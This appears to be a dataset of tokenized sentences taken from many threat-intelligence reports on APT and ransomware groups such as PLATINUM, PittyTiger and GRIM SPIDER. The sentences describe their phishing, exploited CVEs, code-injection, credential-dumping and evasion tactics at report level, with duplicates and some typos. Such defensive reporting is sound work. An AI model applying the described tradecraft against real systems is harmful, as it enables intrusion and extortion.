Our researches around the malware family revealed the " Pitty Tiger " group has been active since 2011 , yet we found traces which makes us believe the group is active since 2010 .
The group exploits known vulnerabilities in Microsoft Office products to infect their targets with malware .
Pitty Tiger group is sometimes using stolen material as spear phishing content to target other persons .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
" PittyTiger " is a mutex used by the malware .
This RAT is the origin of the attackers ' group name .
Paladin RAT is another remote administration tool used by the Pitty Tiger group .
Pitty Tiger , like other APT attackers , often use anti-virus " familiar names " when registering domains or creating subdomains .
" Pitty Tiger " is also a string transmitted in the network communications of the RAT .
A recent report documents a group of attackers known as " PittyTiger " that appears to have been active since at least 2011 ; however , they may have been operating as far back as 2008 .
We have been monitoring the activities of this group and believe they are operating from China .
This threat group uses a first-stage malware known as Backdoor.APT.Pgift ( aka Troj/ReRol.A ) , which is dropped via malicious documents and connects back to a C2 server .
By integrating the findings with prior research , it was possible to connect MONSOON directly with infrastructure used by the HANGOVER group via a series of strong connections .
Backdoor.APT.PittyTiger – This malware is the classic " PittyTiger " malware ( PittyTigerV1.0 ) that was heavily used by this group in- 2013 .
Backdoor.APT.PittyTiger1.3 ( aka CT RAT ) – This malware is likely used as a second-stage backdoor .
It also appears the attackers use this as second-stage malware .
We have observed the Enfal malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks .
The Pitty Tiger group mostly uses spear phishing in order to gain an initial foothold within the targeted environment .
PittyTiger leverages social engineering to deliver spearphishing emails , in a variety of languages including English , French and Chinese , and email phishing pages to their targets .
PLATINUM has been targeting its victims since at least as early as 2009 , and may have been active for several years prior .
This section describes the history , behavior , and tactics of a newly discovered targeted activity group , which Microsoft has code-named PLATINUM .
Like many such groups , PLATINUM seeks to steal sensitive intellectual property related to government interests , but its range of preferred targets is consistently limited to specific governmental organizations , defense institutes , intelligence agencies , diplomatic institutions , and telecommunication providers in South and Southeast Asia .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
LATINUM makes a concerted effort to hide their infection tracks , by self-deleting malicious components , or by using server side logic in ' one shot mode ' where remotely hosted malicious components are only allowed to load once .
PLATINUM often spear phishes its targets at their non-official or private email accounts , to use as a stepping stone into the intended organization 's network .
PLATINUM uses custom-developed malicious tools and has the resources to update these applications often to avoid being detected .
PLATINUM primarily targets its intended victims using spear phishing .
PLATINUM configures its backdoor malware to restrict its activities to victims ' working hours , in an attempt to disguise post-infection network activity within normal user traffic .
PLATINUM does not conduct its espionage activity to engage in direct financial gain , but instead uses stolen information for indirect economic advantages .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
For the initial infection , PLATINUM typically sends malicious documents that contain exploits for vulnerabilities in various software programs , with links or remotely loaded components ( images or scripts or templates ) that are delivered to targets only once .
PLATINUM 's approach toward exploiting vulnerabilities varies between campaigns .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
n one case from 2013 , the target was sent a malicious document through a spear phishing email message .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
Researching this attack and the malware used therein led Microsoft to discover other instances of PLATINUM attacking users in India around August 2015 .
In both these campaigns the activity group included remote triggers to deactivate exploitation , with an attempt to conceal the vulnerability , and prevent analysis of the attack .
After gaining access to a victim 's computer , PLATINUM installs its own custom-built malware to communicate with the compromised system , issue commands , and move laterally through the network .
PLATINUM uses a number of different custom-developed backdoors to communicate with infected computers .
This section describes some of the tools used by the group .
The lack of any significant evidence of shared code between any of these backdoor families is another clue as to the scope of the resources on which the activity group is able to draw , and the precautions the group is willing and able to take in order to avoid losing its ability to conduct its espionage operations .
In addition to Dipsind and its variants , PLATINUM uses a few other families of custom-built backdoors within its attack toolset .
The PLATINUM group has written a few different versions of keyloggers that perform their functions in different ways , most likely to take advantage of different weaknesses in victims ' computing environments .
While one family relies on a small number of supported commands and simple shells , the other delves into more convoluted methods of injections , checks , and supported feature sets .
Both groups can set permissions on specific files to Everyone , and work in tandem with the PLATINUM backdoors .
In particular , this second group also has the capability of dumping users ' credentials using the same technique employed by Mimikatz .
In addition to using several publicly known injection methods to perform this task , it also takes advantage of an obscure operating system feature known as hot patching .
One of PLATINUM 's most recent and interesting tools is meant to inject code into processes using a variety of injection techniques .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
Hot patching is an operating system-supported feature for installing updates without having to reboot or restart a process .
Multiple Dipsind variants have been identified , all of which are believed to be used exclusively by PLATINUM .
The group 's most frequently used backdoors belong to a malware family that Microsoft has designated Dipsind , although some variants are detected under different names .
The technique PLATINUM uses to inject code via hot patching was first documented by security researchers in 2013.7 Administrator permissions are required for hot patching , and the technique used by PLATINUM does not attempt to evade this requirement through exploitation .
PLATINUM has used several zero-day exploits against their victims .
The technique PLATINUM uses to inject code via hot patching was first documented by security researchers in 2013.7 .
PLATINUM has consistently targeted victims within a small set of countries in South and Southeast Asia .
PLATINUM has developed or commissioned a number of custom tools to provide the group with access to victim resources .
Some of the tools used by PLATINUM , such as the port-knocking backdoor , show signs of organized thinking .
Take advantage of native mitigations built into Windows 10 .
For example , the summer 2015 attack that used the unusual ' resume ' would not have been successful on Windows 10 as-is because of the presence of the Supervisor Mode Execution Prevention ( SMEP ) mitigation , even without the latest security updates installed .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
Since the 2016 publication , Microsoft has come across an evolution of PLATINUM 's file-transfer tool , one that uses the Intel® Active Management Technology ( AMT ) Serial-over-LAN ( SOL ) channel for communication .
Since the 2016 publication , Microsoft has come across an evolution of PLATINUM 's file-transfer tool , one that uses the Intel Active Management Technology ( AMT ) Serial-over-LAN ( SOL ) channel for communication .
Until this incident , no malware had been discovered misusing the AMT SOL feature for communication .
We confirmed that the tool did not expose vulnerabilities in the management technology itself , but rather misused AMT SOL within target networks that have already been compromised to keep communication stealthy and evade security applications .
In either case , PLATINUM would need to have gained administrative privileges on targeted systems prior to the feature 's misuse .
The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast Asia—PLATINUM is known to customize tools based on the network architecture of targeted organizations .
One possibility is that PLATINUM might have obtained compromised credentials from victim networks .
Another possibility is that the targeted systems did not have AMT provisioned and PLATINUM , once they've obtained administrative privileges on the system , proceeded to provision AMT .
During the provisioning process , PLATINUM could select whichever username and password they wish .
The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK 's Redirection Library API ( imrsdk.dll ) .
The PLATINUM tool is , to our knowledge , the first malware sample observed to misuse chipset features in this way .
Microsoft reiterates that the PLATINUM tool does not expose flaws in Intel® Active Management Technology ( AMT ) , but uses the technology within an already compromised network to evade security monitoring tools .
The discovery of this new PLATINUM technique and the development of detection capabilities highlight the work the Windows Defender ATP team does to provide customers greater visibility into suspicious activities transpiring on their networks .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
This signals just how long ago the Poseidon threat actor was already working on its offensive framework .
However , Poseidon 's practice of being a ' custom-tailored malware implants boutique ' kept security researchers from connecting different campaigns under the umbrella of a single threat actor .
Poseidon Group is dedicated to running targeted attacks campaigns to aggressively collect information from company networks through the use of spear-phishing packaged with embedded , executable elements inside office documents and extensive lateral movement tools .
The Poseidon Group is a long-running team operating on all domains : land , air , and sea .
The Poseidon Group has been active , using custom code and evolving their toolkit since at least 2005 .
Poseidon has maintained a consistently evolving toolkit since the mid-2000s .
The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
PROMETHIUM is an activity group that has been active as early as 2012 .
This malware family is known as " PittyTiger " by the anti-virus community .
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and— often including military installations , intelligence agencies , and other government bodies .
PROMETHIUM distributed links through instant messengers , pointing recipients to malicious documents that invoked the exploit code to launch Truvasys on victim computers .
PROMETHIUM is an activity group that has been active since at least 2012 .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
Truvasys is a collection of modules written in the Delphi programming language , a variant of Pascal .
While studying Truvasys , Microsoft uncovered a previously undocumented piece of malware known as Myntor that is a completely separate malware family .
Unit 61486 is the 12th Bureau of the PLA 's 3rd General Staff Department ( GSD ) and is headquartered in Shanghai , China .
The CrowdStrike has been tracking this particular unit since 2012 , under the codename PUTTER PANDA , and has documented activity dating back to 2007 .
The CrowdStrike Intelligence team has been tracking this particular unit since 2012 , under the codename PUTTER PANDA , and has documented activity dating back to 2007 .
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade secrets , primarily relating to the satellite , aerospace and communication industries .
Parts of the PUTTER PANDA toolset and tradecraft have been previously documented , both by CrowdStrike , and in open source , where they are referred to as the MSUpdater group .
PUTTER PANDA is a determined adversary group , conducting intelligence-gathering operations targeting the Government , Defense , Research , and Technology sectors in the United States , with specific targeting of the US Defense and European satellite and aerospace industries .
According to the hacking collective , they worked tirelessly for the first quarter of 2019 to breach these companies and finally succeeded and obtained access to the companies' internal networks .
The folders seem to contain information about the company 's development documentation , artificial intelligence model , web security software , and antivirus software base code .
Targeting antivirus companies appears to have been the primary goal of Fxmps' latest network intrusions .
This period started with their seeming disappearance in October 2018 and concluded with their return in April 2019 .
The hacker 's name is Gnosticplayers , and since February 11 the hacker has put up for sale data for 32 companies in three rounds [stories on Round 1 , Round 2 , and Round 3] on Dream Market , a dark web marketplace .
But according to Gnosticplayers , his foray into a public marketplace like Dream has two goals --besides the first and obvious one being money .
Data collected by Secureworks incident response ( IR ) analysts and analyzed by CTU researchers indicates that GOLD LOWELL extorts money from victims using the custom SamSam ransomware .
Some sources claimed that GOLD LOWELL operations specifically targeted the healthcare vertical following public SamSam incidents in 2016 and 2018 .
However , CTU analysis indicates that GOLD LOWELL is motivated by financial gain , and there is no evidence of the threat actors using network access for espionage or data theft .
In January 2017 , GOLD LOWELL began targeting legitimate RDP account credentials , in some cases discovering and compromising accounts using brute-force techniques .
In 2015 and 2016 , GOLD LOWELL frequently exploited JBoss enterprise applications using several versions of this open-source JBoss exploitation tool .
In 2017 and early 2018 , the group used PowerShell commands to call Mimikatz from an online PowerSploit repository , which is a collection of publicly available PowerShell modules for penetration testing .
Gold Lowell responded by modifying a registry entry to disable the endpoint tool 's scanning functionality .
Gold Lowell then provide a download link to a unique XML executable file and corresponding RSA private key to decrypt the files .
This methodology , known as " big game hunting " , signals a shift in operations for WIZARD SPIDER , a criminal enterprise of which GRIM SPIDER appears to be a cell .
The WIZARD SPIDER threat group , known as the Russia-based operator of the TrickBot banking malware , had focused primarily on wire fraud in the past .
Similar to Samas and BitPaymer , Ryuk is specifically used to target enterprise environments .
Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release .
Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors .
However , Ryuk is only used by GRIM SPIDER and , unlike Hermes , Ryuk has only been used to target enterprise environments .
Since Ryuk 's appearance in August , the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD .
Hermes ransomware , the predecessor to Ryuk , was first distributed in February 2017 .
In mid-August 2018 , a modified version of Hermes , dubbed Ryuk , started appearing in a public malware repository .
Ryuk was tailored to target enterprise environments and some of the modifications include removing anti-analysis checks .
As mentioned in the Hermes to Ryuk section , Ryuk uses a combination of symmetric ( AES ) and asymmetric ( RSA ) encryption to encrypt files .
For each mounted drive , Ryuk calls GetDriveTypeW to determine the drive 's type .
To retrieve IP addresses that have ARP entries , Ryuk calls GetIpNetTable .
Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA ( activities of which have been public reported as part of the " Lazarus Group " ) , because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017 .
The two executables related to Hermes are bitsran.exe and RSW7B37.tmp .
Falcon Intelligence has medium-high confidence that the GRIM SPIDER threat actors are operating out of Russia .
Based on these factors , there is considerably more evidence supporting the hypothesis that the GRIM SPIDER threat actors are Russian speakers and not North Korean .
The hackers also started tweeting a few samples of internal emails from the company .
From a process and file perspective , Hermes and Ryuk target files in a similar fashion .
Claudio Guarnieri , a security researcher who has investigated Hacking Team along with others at the Citizen Lab , was quick to point this out .
The breach on Hacking Team comes almost a year after another surveillance tech company , the competing FinFisher , was hacked in a similar way , with a hacker leaking 40 Gb of internal files .
Their software , once surreptitiously installed on a target 's cell phone or computer , can be used to monitor the target 's communications , such as phone calls , text messages , Skype calls , or emails .
In 2015 and 2016 , Dridex was one of the most prolific eCrime banking trojans on the market and , since 2014 , those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits .
In August 2017 , a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K. 's National Health Service ( NHS ) , with a high ransom demand of 53 BTC ( approximately $200,000 USD ) .
The targeting of an organization rather than individuals , and the high ransom demands , made BitPaymer stand out from other contemporary ransomware at the time .
Though the encryption and ransom functionality of BitPaymer was not technically sophisticated , the malware contained multiple anti-analysis features that overlapped with Dridex .
Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER , suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy .
The beginning of 2017 also brought a turning point in INDRIK SPIDER 's operation of Dridex .
CrowdStrike® Falcon® Intelligence™ also observed a strong correlation between Dridex infections and BitPaymer ransomware .
During incidents that involved BitPaymer , Dridex was installed on the victim network prior to the deployment of the BitPaymer malware .
Also unusual was the observation that both Dridex and BitPaymer were spread through the victim network using lateral movement techniques traditionally associated with nation-state actors and penetration testing .
The information gathered from these engagements , combined with information from prior Dridex IR engagements , provides insight into how INDRIK SPIDER deploys and operates both Dridex and BitPaymer .
In recent BitPaymer IR engagements , Falcon Intelligence linked the initial infection vector to fake updates for a FlashPlayer plugin and the Chrome web browser .
With the move to targeting select victims for high-value payouts , the INDRIK SPIDER adversary group is no longer forced to scale its operations , and now has the capacity to tailor its tooling to the victim 's environment and play a more active role in the compromise with " hands on keyboard " activity .
This web hosting service provider continues to be the hosting provider of choice for the threat actors behind NetTraveler .
These new tactics of selectively targeting organizations for high ransomware payouts have signaled a shift in INDRIK SPIDER 's operation with a new focus on targeted , low-volume , high-return criminal activity : a type of cybercrime operation we refer to as big game hunting .
Later , in January 2018 , a report was released that identified similarities between the BitPaymer ransomware and Dridex malware .
The report authors renamed the malware " FriedEx " .
Falcon Intelligence has analyzed this malware and can confirm the overlap between BitPaymer/FriedEx and Dridex malware .
Though there is no functionality to collect this information in the ransomware itself , the ransomware is deployed by INDRIK SPIDER in parallel with Dridex malware , and the Dridex malware contains modules that may be used to collect information from infected hosts .
Falcon Intelligence has acquired multiple decryption tools related to BitPaymer , which confirm the theory that a unique key is used for each infection .
Unlike many ransomware operations , which usually just require victims to make the payment and subsequently download a decryptor , INDRIK SPIDER requires the victim to engage in communication with an operator .
Falcon Intelligence has had unique insight into the email dialogue between a victim and an INDRIK SPIDER operator .
Initial victim communication with the INDRIK SPIDER operator , using one of the email addresses provided , results in the operator providing key pieces of information up front , such as the BTC address and the ransom amount .
It was made clear during communications that INDRIK SPIDER is not willing to negotiate on the ransom amount , explicitly stating that the victim can use multiple Bitcoin exchanges to obtain the number of BTC required , and the exchange rate should be calculated based on the rate posted on the cryptocurrency exchange Bittrex .
Of note , INDRIK SPIDER specifies the geographical location of where the victim should seek help , confirming that they know key information about the victim .
INDRIK SPIDER uses file sharing platforms to distribute the BitPaymer decryptor .
In an extensive email to the victim , the INDRIK SPIDER operator provides a decryptor download link , decryptor deletion link ( to be used following decryptor download ) and a password .
The recommendations provided are not only good advice , but also provide indications of how INDRIK SPIDER breaches organizations and moves laterally until domain controller access is gained .
Ransom demands have varied significantly , suggesting that INDRIK SPIDER likely calculates the ransom amount based on the size and value of the victim organization .
INDRIK SPIDER consists of experienced malware developers and operators who have likely been part of the group since the early days of Dridex operations , beginning in June 2014 .
The formation of the group and the modus operandi changed significantly in early 2017 .
Dridex operations became more targeted , resulting in less distribution and Dridex sub-botnets in operation , and BitPaymer ransomware operations began in July 2017 .
There is no doubt that BitPaymer ransomware operations are proving successful for Indrik Spider , with an average estimate take of over $200,000 USD per victim , but it is also important to remember that INDRIK SPIDER continues to operate the Dridex banking trojan .
There is no doubt that BitPaymer ransomware operations are proving successful for this criminal group , with an average estimate take of over $200,000 USD per victim , but it is also important to remember that INDRIK SPIDER continues to operate the Dridex banking trojan .
Though Dridex is still bringing in criminal revenue for the actor after almost four years of operation , targeted wire fraud operations likely require lengthy planning .
In scenarios where wire fraud is not as lucrative an option , INDRIK SPIDER might use ransomware to monetize the compromise instead .
INDRIK SPIDER isn't the only criminal actor running big game hunting operations ; The first ransomware to stake a claim for big game hunting was Samas ( aka SamSam ) , which is developed and operated by BOSS SPIDER .
Since they were first identified in January 2-16 , this adversary has consistently targeted large organizations for high ransom demands .
In July 2017 , INDRIK SPIDER joined the movement of targeted ransomware with BitPaymer .
Most recently , the ransomware known as Ryuk came to market in August 2017 and has netted its operators , tracked by Falcon Intelligence as GRIM SPIDER , a significant ( and immediate ) profit in campaigns also targeting large organizations .
The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware .
The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot ( aka IcedID ) , which was first observed in April 2017 .
The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud , through the use of webinjects and a malware distribution function .
campaigns involving both BokBot and TrickBot were first identified by CrowdStrike Intelligence in July 2017 .
These gtags have been closely associated with LUNAR SPIDER activity .
Unit 42 followed network traces and pivoted on the information left behind by this actor , such as open directories , document metadata , and binary peculiarities , which enabled us to find a custom-made piece of malware , that we named " CapturaTela " .
Our telemetry for this campaign identified email as the primary delivery mechanism and found the first related samples were distributed in August 2018 .
Aside from the use of the custom trojan CapturaTela , the actor makes extensive use of several other remote access Trojans to perform its malicious activities .
Why would OurMine want to target WikiLeaks .
Instead , OurMine had managed to alter WikiLeaks 's DNS records ( held by a third-party registrar ) to direct anyone who tried to visit wikileaks.org to visit a different IP address which definitely wasn't under the control of Julian Assange and his cronies .
We don't know how OurMine managed to access WikiLeaks 's DNS records , but past experience has shown that their typical modus operandi is simply to log in using their victim 's password .
Alternatively , OurMine might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
Alternatively , the attackers might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
Known for hijacking prominent social media accounts , the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network .
Last year , OurMine victimized Marvel , The New York Times , and even the heads of some of the biggest technology companies in the world .
Mark Zuckerberg , Jack Dorsey , Sundar Pichai , and Daniel Ek — the CEOs of Facebook , Twitter , Google and Spotify , respectively — have also fallen victim to the hackers , dispelling the notion that a career in software and technology exempts one from being compromised .
The group is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
OurMine is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
The group 's primary goal is demonstrating to companies that they have weak security .
US intelligence agencies pinned the breach on North Korea ( one of the hacking group 's demands was that Sony pull The Interview , Seth Rogan 's comedy about a plot to assassinate Kim Jong-Un ) .
Of course , Sony ( one of Vevo 's joint owners ) fell victim to a devastating hack in 2014 after a group of hackers calling themselves the " Guardians of Peace " dumped a wealth of its confidential data online .
The cryptominer employed by Pacha Group , labeled Linux.GreedyAntd by Intezer , was completely undetected by all leading engines , demonstrating the sophistication of this malware .
Intezer has evidence dating back to September 2018 which shows Pacha Group has been using a cryptomining malware that has gone undetected on other engines .
The new miner employed by Pacha Group , named Linux.GreedyAntd , has shown to be more sophisticated than the average Linux threat , using evasion techniques rarely seen in Linux malware .
Pacha Group is believed to be of Chinese origin , and is actively delivering new campaigns , deploying a broad number of components , many of which are undetected and operating within compromised third party servers .
We have labeled the undetected Linux.Antd variants , Linux.GreedyAntd and classified the threat actor as Pacha Group .
Based on our findings Linux.GreedyAntd 's operations closely resemble previous cryptojacking campaigns deployed by Pacha Group in the past .
Among the artifacts hosted in GreedyAntd 's servers , we managed to find a single component not related to the same cryptojacking operation just previously discussed and leveraged by Pacha Group .
It was one of the few ransomware strains that were being mass-distributed via email spam and exploit kits , but also as part of targeted attacks against high-profile organizations ( a tactic known as big-game hunting ) at the same time .
The GandCrab author also had a spat with South Korean security vendor AhnLab last summer after the security firm released a vaccine for the GandCrab ransomware .
Recently , Sophos Labs has observed criminal groups scanning the internet for open MySQL databases running on Windows systems , which they tried to infect with GandCrab .
CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments , using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams .
Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February .
CrowdStrike® Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments , using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams .
PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab , which has been active since January 2018 .
PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts .
The main catalyst for dedicated development by PINCHY SPIDER , however , has been an ongoing battle with cybersecurity providers that are actively developing GandCrab mitigations and decryptors .
In February , PINCHY SPIDER released version 5.2 of GandCrab , which is immune to the decryption tools developed for earlier versions of GandCrab and in fact , was deployed the day before the release of the latest decryptor .
CrowdStrike Intelligence first identified new GandCrab ransomware deployment tactics in mid-February , when a threat actor was observed performing actions on a victim host in order to install GandCrab .
Using RDP and stolen credentials from the initially compromised host , the threat actor then proceeded to move laterally around the victim network and was able to deploy GandCrab across several other hosts .
Near the end of February , CrowdStrike Intelligence observed another incident in which similar manual lateral movement techniques were used to deploy GandCrab across multiple hosts in an enterprise .
Once Domain Controller access was acquired , Pinchy Spider used the enterprise 's own IT systems management software , LANDesk , to deploy a loader to hosts across the enterprise .
This loader , known as Phorpiex Downloader , is not specifically tied to GandCrab or PINCHY SPIDER , and it has previously been observed dropping other malware , such as Smoke Bot , Azorult , and XMRig .
As reported in the CrowdStrike 2018 Global Threat Report , big game hunting was a trend that helped define the criminal threat landscape in 2018 .
BOSS SPIDER used both enterprise and per-host pricing during their campaigns .
Both INDRIK SPIDER ( with BitPaymer ransomware ) and GRIM SPIDER ( with Ryuk ransomware ) have made headlines with their high profile victims and ransom profits , demonstrating that big game hunting is a lucrative enterprise .
Running successful big game hunting operations results in a higher average profit per victim , allowing adversaries like PINCHY SPIDER and their partners to increase their criminal revenue quickly .
The threat actor Rocke was originally revealed by Talos in August of 2018 and many remarkable behaviors were disclosed in their blog post .
The family was suspected to be developed by the Iron cybercrime group and it's also associated with the Xbash malware we reported on in September of 2018 .
The threat actor Rocke was first reported by Cisco Talos in late July 2018 .
The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
Once the C2 connection is established , malware used by the Rocke group downloads shell script named as " a7 " to the victim machine .
To be more specific , the malware uninstalls cloud security products by Alibaba Cloud and Tencent Cloud .
Public cloud infrastructure is one of the main targets for Rocke .
FortiGuard Labs has been monitoring a Linux coin mining campaign from " Rocke " – a malware threat group specializing in cryptomining .
The malicious bash script components of the malware are hosted in Pastebin , with the profile name " SYSTEMTEN " , which is very similar to previous names used by the " Rocke " threat group .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
By utilizing a hook library , it is more complicated for users to manually detect and remove the infection from their systems , giving the threat actors more time to generate profit .
The group also made it back into the news with the recent WannaCry ransomware that targeted computers around the globe ; it piggybacked on exploits revealed by the Shadow Brokers .
A mysterious hacker or hackers going by the name " The Shadow Brokers " claims to have hacked a group linked to the NSA and dumped a bunch of its hacking tools .
The Shadow Brokers claimed to have hacked the Equation Group and stolen some of its hacking tools .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
The Shadow Brokers , the group that publicly dumped a cache of NSA hacking tools , appears to be back and ready to sell stolen material on an individual basis .
Wh1sks estimated that , between June and early August , the Shadow Brokers have made up to $88,000 in an alternative cryptocurrency called Monero .
Moreover , Wh1sks was able to find out the email addresses of five people who have subscribed to the Shadow Brokers' monthly dump service .
Buried among this new treasure trove , there are several mentions of previously disclosed NSA top secret programs and software such as " STRAITBIZARRE " , used to control implants remotely , and " JEEPFLEA " , a project to hack the money transferring system SWIFT .
The Shadow Brokers have long claimed that the tools they release are from the " Equation Group " , the name of a government hacking group outed by Kaspersky Lab in 2015 , which is widely believed to be the NSA .
Recently , FireEye released a great report on one of the more active groups , now known as APT30 .
In addition , Kaspersky discovered that the Winnti group uses a popular backdoor known as PlugX which also has Chinese origins .
Previous work published by security vendor FireEye in October 2014 suggests APT28 might be of Russian origin .
After publishing our initial series of blogposts back in 2016 , Kaspersky has continued to track the ScarCruft threat actor .
Based on the ScarCruft’s recent activities , Kaspersky strongly believes that this ScarCruft group is likely to continue to evolve .
Kaspersky also discovered an interesting piece of rare malware created by this threat actor ScarCruft .
Kaspersky witnessed the ScarCruft threat actor extensively testing a known public exploit during its preparation for the next campaign .
Based on our telemetry , Kaspersky can reassemble ScarCruft’s binary infection procedure .
In addition , Kaspersky analyzed the victims of this campaign and spotted an interesting overlap of this campaign with another APT actor known as DarkHotel .
Secureworks researchers investigated activities associated with the BRONZE BUTLER (also known as Tick) threat group , which likely originates in the People .
However , an investigation by Symantec has found that Butterfly has been active since at least March 2012 and its attacks have not only continued to the present day , but have also increased in number .
Talos assesses with high confidence that Group 123 was responsible for six campaigns .
Attacks launched by Scarlet Mimic were publicly exposed on 2013 in a Trend Micro report about the FakeM Trojan .
Finally , Talos identified a 6th campaign that is also linked to Group 123 .
As Talos observed at the beginning of 2017 , Group 123 started a campaign corresponding with the new year in 2018 .
Last month , researchers at Kaspersky reported on a Lazarus APT campaign targeting both macOS and Windows users .
Cylance uncovered several bespoke backdoors deployed by the OceanLotus APT Group a.k.a APT32 , Cobalt Kitty .
While continuing to monitor activity of the OceanLotus APT Group , Cylance researchers uncovered a novel payload loader that utilizes steganography to read an encrypted payload concealed within a .png image file .
Gobelin Panda , a.k.a Goblin Panda , is a group that has been identified by CrowdStrike as a Chinese threat actor .
CrowdStrike observed Goblin Panda activity spike as tensions among South China Sea nations has risen .
This confirms Tropic Trooper is using Poison Ivy as part of their toolkit , something speculated in the original Trend Micro report but not confirmed by them .
In a 2018 blogpost , ESET researchers predicted that Turla would use more and more generic tools .
ESET researchers will continue monitoring new Turla activities and will publish relevant information on our blog .
ESET researchers analyze new TTPs attributed to the Turla group that leverage PowerShell to run malware in-memory only .
ESET have been tracking the malicious activities related to the Ke3chang group .
According to Kaspersky Lab’s report , NetTraveler has been active since as early as 2004; however , the highest volume of activity occurred from 2010 – 2013 .
Kaspersky Lab’s experts calculated the amount of stolen data stored on NetTraveler’s C&C servers to be more than 22 gigabytes .
FireEye believes the Ke3chang attackers likely began attempting to exfiltrate sensitive data shortly thereafter .
This report details some of the technical findings of the Lazarus Group’s malware , observed by Novetta during Operation Blockbuster .
The Lazarus Group was first identified in Novetta’s report Operation Blockbuster in February 2016 .
FireEye has not identified APT33 using SHAPESHIFT , but APT33 is the only group FireEye has seen to use DROPSHOT .
In 2018 , Kaspersky Labs published a report that analyzed Turla threat group .
Starting in February 2018 , Palo Alto identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
